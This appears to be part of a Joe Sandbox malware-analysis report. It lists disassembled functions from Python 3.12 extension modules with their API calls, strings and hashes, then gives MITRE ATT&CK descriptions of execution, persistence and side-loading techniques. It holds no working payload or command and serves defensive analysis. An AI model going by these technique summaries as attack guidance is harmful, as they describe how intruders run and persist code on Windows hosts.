Instruction Fuzzy Hash: 5CF08951F08D4299EE104B63F9440B9A221AF28BF5B5853B5DD7FA6AF0DE1CE594830C

Function 00007FFE11ECC564 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

_PyArg_Parse_SizeT.PYTHON312 ref: 00007FFE11ECC57F
PyErr_SetString.PYTHON312 ref: 00007FFE11ECC5AC

Part of subcall function 00007FFE11EC65EC: PyErr_SetString.PYTHON312 ref: 00007FFE11EC661A

Strings

Cannot set verify_mode to CERT_NONE when check_hostname is enabled., xrefs: 00007FFE11ECC5A2

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_String$Arg_Parse_Size
String ID: Cannot set verify_mode to CERT_NONE when check_hostname is enabled.
API String ID: 1619524773-288992553
Opcode ID: c7fd3cbe9800db86c40f20b1de7fac90ca671e0d20a220d256f851d0efb4f216
Instruction ID: 23557aa0ab28f78af5e37d40f4362cea42643ce3c99de363ed118c74668b44db
Opcode Fuzzy Hash: c7fd3cbe9800db86c40f20b1de7fac90ca671e0d20a220d256f851d0efb4f216
Instruction Fuzzy Hash: E4F09660E08E0381EF148B97EC402772368AFA4760B945172C91D07774DF3DF5948740

Function 00007FFE133825AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FFE133825CA

Strings

this type has no size, xrefs: 00007FFE133877AE

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Ssize_t
String ID: this type has no size
API String ID: 168540982-982649334
Opcode ID: 2d1a87ea75d0a3c5760a4a14ac3f2dff44a5eadfa4f0b8b9494eaab247907af1
Instruction ID: 17f8606d3936ee4826970c92e7a301b4b6f847ab0ce072c9a7c9fadb7946f61e
Opcode Fuzzy Hash: 2d1a87ea75d0a3c5760a4a14ac3f2dff44a5eadfa4f0b8b9494eaab247907af1
Instruction Fuzzy Hash: E8F01250E19D03C8FA149723985013C5362AFA8BB5F1856F0DD2FB6A71EE2CE4D48318

Function 00007FFE1338E9AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_PyUnicode_IsPrintable.PYTHON312(?,?,?,00007FFE1338DF49), ref: 00007FFE1338E9C2

Strings

', xrefs: 00007FFE1338E9D1
\, xrefs: 00007FFE1338E9CC

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: PrintableUnicode_
String ID: '$\
API String ID: 1291510985-1366717710
Opcode ID: ae4ca8ccb72008fd617674c13137eccd61899a5d8579756d2e23e7c809fb28e6
Instruction ID: 9d2d489f3e59fbc496497901632c2fc031a8b7d3459ce42371347502f12d7920
Opcode Fuzzy Hash: ae4ca8ccb72008fd617674c13137eccd61899a5d8579756d2e23e7c809fb28e6
Instruction Fuzzy Hash: 56E02611F28E19CBFB900667A88437D11425B943B0F4D02B2D9FE12AE0EC2CD8C34318

Function 00007FFE11ECC38C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE11ECC3AB
PyObject_IsTrue.PYTHON312 ref: 00007FFE11ECC3B9

Strings

cannot delete attribute, xrefs: 00007FFE11ECC3A1

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Err_Object_StringTrue
String ID: cannot delete attribute
API String ID: 1323943456-1747274469
Opcode ID: 3d7ecd5450efbc1e430a5ae054280d862bf106feafa9da69c465e00e4007047e
Instruction ID: d5b116719e38caa17616dee663810280d29c875e09caa9f9e0944d996d50c29f
Opcode Fuzzy Hash: 3d7ecd5450efbc1e430a5ae054280d862bf106feafa9da69c465e00e4007047e
Instruction Fuzzy Hash: 4DE01265A18D0281EB18CBBBEC5423E2269BF44774B9057B1C92E872F4EF2DF5958740

Function 00007FFE13383F10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON312 ref: 00007FFE13388EF8
PyErr_SetString.PYTHON312 ref: 00007FFE13388F14

Strings

PyObject is NULL, xrefs: 00007FFE13388F0A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$OccurredString
String ID: PyObject is NULL
API String ID: 114435612-3221357749
Opcode ID: 145832b98b626a640b04b4538619044ee52ead150068e3e472fc4f920af9e2a3
Instruction ID: 08b0cf9fc0ea34a7b5ca747ece9f229abf5a8d4eba14e2dce6b995a76d6080ea
Opcode Fuzzy Hash: 145832b98b626a640b04b4538619044ee52ead150068e3e472fc4f920af9e2a3
Instruction Fuzzy Hash: E9E0ED25E0AD03C9EA159B17E85013D23A1AF68BA4B9845F9C52E7B770DE2CA4958308

Function 00007FFE13385952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385960
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338597F
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338599D
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859BC
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859D1
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133859F0
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A08
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A27
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389AF0
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B10
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

_wstring_at_addr, xrefs: 00007FFE13385975

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Module_Object$DeallocLong$Void
String ID: _wstring_at_addr
API String ID: 3789324372-926622358
Opcode ID: f4aa21fb059a6ef8086803ad02070ac70d951cdac755a42a4e1763e3298b9f2f
Instruction ID: 445813cceb74232af89e20fdc5071e084c632fd685eae14a53e45b437cbb692f
Opcode Fuzzy Hash: f4aa21fb059a6ef8086803ad02070ac70d951cdac755a42a4e1763e3298b9f2f
Instruction Fuzzy Hash: 48E0ED2090DF42C9FB128B1785901BC67615F64FA1B0442FAC92E66AF5EE2CB584D319

Function 00007FFE1338588C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338589A
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858B9
PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858DC
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858FB
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

_memset_addr, xrefs: 00007FFE133858AF

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Module_ObjectVoid$Dealloc
String ID: _memset_addr
API String ID: 3221970233-2531778111
Opcode ID: c42451c126db6bf21900687bc864987868681bffbbfe31e831f3ccb5678e5623
Instruction ID: 208bef5e4fef77b38de86a38e53ffeab3bd115c4499ee74329f12230d7471ebf
Opcode Fuzzy Hash: c42451c126db6bf21900687bc864987868681bffbbfe31e831f3ccb5678e5623
Instruction Fuzzy Hash: B5E0ED21E0EF02CDFA124B1799901BD27A15F64BA1B1402FBC92E726B5DE1CA0849309

Function 00007FFE1338584A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385858
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385877
PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338589A
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858B9
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

_memmove_addr, xrefs: 00007FFE1338586D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Module_ObjectVoid$Dealloc
String ID: _memmove_addr
API String ID: 3221970233-672319157
Opcode ID: 71e3e059d1efdfabb11cd14f504358da97e5a5cb5e53cebc8a99cc8d3488074c
Instruction ID: 0a8f2702f926f7bd2e5a3b4b2af58aac4f5a4579d4f41b585ceb0e6754ed0658
Opcode Fuzzy Hash: 71e3e059d1efdfabb11cd14f504358da97e5a5cb5e53cebc8a99cc8d3488074c
Instruction Fuzzy Hash: 58E0ED21E0DF02CDFA128B1785901BC27619F64BA1B0406FAC92F71AB5DE1CA084D309

Function 00007FFE13385910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338591E
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338593D
PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385960
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338597F
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

_cast_addr, xrefs: 00007FFE13385933

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Module_ObjectVoid$Dealloc
String ID: _cast_addr
API String ID: 3221970233-1452554405
Opcode ID: a441a2c9d80400447ae3cbe7db32488d6cdca155a0580a65d2b33f0b45d636b5
Instruction ID: 58ee364d5ea9b7463931c8fb59dbc167d3fee95b8b78fd3b5d04bc8436c3470f
Opcode Fuzzy Hash: a441a2c9d80400447ae3cbe7db32488d6cdca155a0580a65d2b33f0b45d636b5
Instruction Fuzzy Hash: 94E0C02190DB42C9FA128B1694501BD27A15F64FA1B4442F9CA2E65AB5DE1CA094D219

Function 00007FFE133858CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858DC
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133858FB
PyLong_FromVoidPtr.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338591E
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338593D
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

_string_at_addr, xrefs: 00007FFE133858F1

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FromLong_Module_ObjectVoid$Dealloc
String ID: _string_at_addr
API String ID: 3221970233-229390179
Opcode ID: eee2b95cc4140396ceb619e13009fa79c089102ca1d614b3ff15be7f08234282
Instruction ID: 0df2635462151fb21ad3c89a06518b40b7dc01b1b1a5ee75399ed7f183bafbb9
Opcode Fuzzy Hash: eee2b95cc4140396ceb619e13009fa79c089102ca1d614b3ff15be7f08234282
Instruction Fuzzy Hash: A1E01A20D1DF02C9FB129B5A89902BC26919F64FA1F1407FDC93E71AF4DF1CA0819719

Function 00007FFE1338F4F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON312 ref: 00007FFE1338F51E

Strings

<Field type=%s, ofs=%zd, size=%zd>, xrefs: 00007FFE1338F529
<Field type=%s, ofs=%zd:%zd, bits=%zd>, xrefs: 00007FFE1338F512

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: FormatFromUnicode_
String ID: <Field type=%s, ofs=%zd, size=%zd>$<Field type=%s, ofs=%zd:%zd, bits=%zd>
API String ID: 3889672380-2914491812
Opcode ID: 66dd6f54973c75b6a9be34bc2d206b6a75bbe89e553c58b8ffd36e902c0e9b6b
Instruction ID: 6d6ad730bfea71b4d06a21d1dc2175512acdb45c0a80c9000325ab15c93052d3
Opcode Fuzzy Hash: 66dd6f54973c75b6a9be34bc2d206b6a75bbe89e553c58b8ffd36e902c0e9b6b
Instruction Fuzzy Hash: 8FE0E566E08E01C5DA149B0AE8404683761FB65B68FA101AACA5E67370CF38D5A6D748

Function 00007FFE1338EA6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

PyCapsule_GetPointer.PYTHON312 ref: 00007FFE1338EA77
PyMem_Free.PYTHON312 ref: 00007FFE1338EA85

Strings

_ctypes pymem, xrefs: 00007FFE1338EA70

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Capsule_FreeMem_Pointer
String ID: _ctypes pymem
API String ID: 1268649101-201515578
Opcode ID: 0b53a2331445122a3198ef125ebab5f47b71959eb751bd5aed0772412500215b
Instruction ID: 0f7a4519747a3e8295c0e8c0acaf7269a2fb6f4e48e2b3d649c408359d73b2db
Opcode Fuzzy Hash: 0b53a2331445122a3198ef125ebab5f47b71959eb751bd5aed0772412500215b
Instruction Fuzzy Hash: 5DC01250F06E02DAED045B07A88407413617F24B60F8040B8C01F32370DE2CA4568708

Function 00007FFE1338FF3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

PyCapsule_GetPointer.PYTHON312 ref: 00007FFE1338FF47
PyMem_Free.PYTHON312 ref: 00007FFE1338FF55

Strings

_ctypes/cfield.c pymem, xrefs: 00007FFE1338FF40

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Capsule_FreeMem_Pointer
String ID: _ctypes/cfield.c pymem
API String ID: 1268649101-2578739719
Opcode ID: db4bfa8000b68ed70d655a6cb097edbe47cf996fb4470d8f6ee55c6a729799d1
Instruction ID: db240a666cc88bd6419bf668ed7af11cdc22cabf05685531cda3f3c61c4dc63b
Opcode Fuzzy Hash: db4bfa8000b68ed70d655a6cb097edbe47cf996fb4470d8f6ee55c6a729799d1
Instruction Fuzzy Hash: DBC08010F16E02C5ED04EF03BC8403413617F68754F8000F8C12F32370DE2CA05A8308

Function 00007FFE10249D80 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFE10249DDD
memmove.VCRUNTIME140 ref: 00007FFE102552D1
memcpy.VCRUNTIME140 ref: 00007FFE102552E8

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: memcpy$memmove
String ID:
API String ID: 1283327689-0
Opcode ID: eee6edfa71bb2dedfcc37b73b2f55b6b239783ac4416e26ed470dd15ede7d960
Instruction ID: f012752158fc6f492c2b916400534289827d25a2ba1d40d9febaedd4727e1b7f
Opcode Fuzzy Hash: eee6edfa71bb2dedfcc37b73b2f55b6b239783ac4416e26ed470dd15ede7d960
Instruction Fuzzy Hash: 4531E872B18A45C3DA149F27A4040BDBB61F794BB0B280179DF8E87BA6EE7DE451C704

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

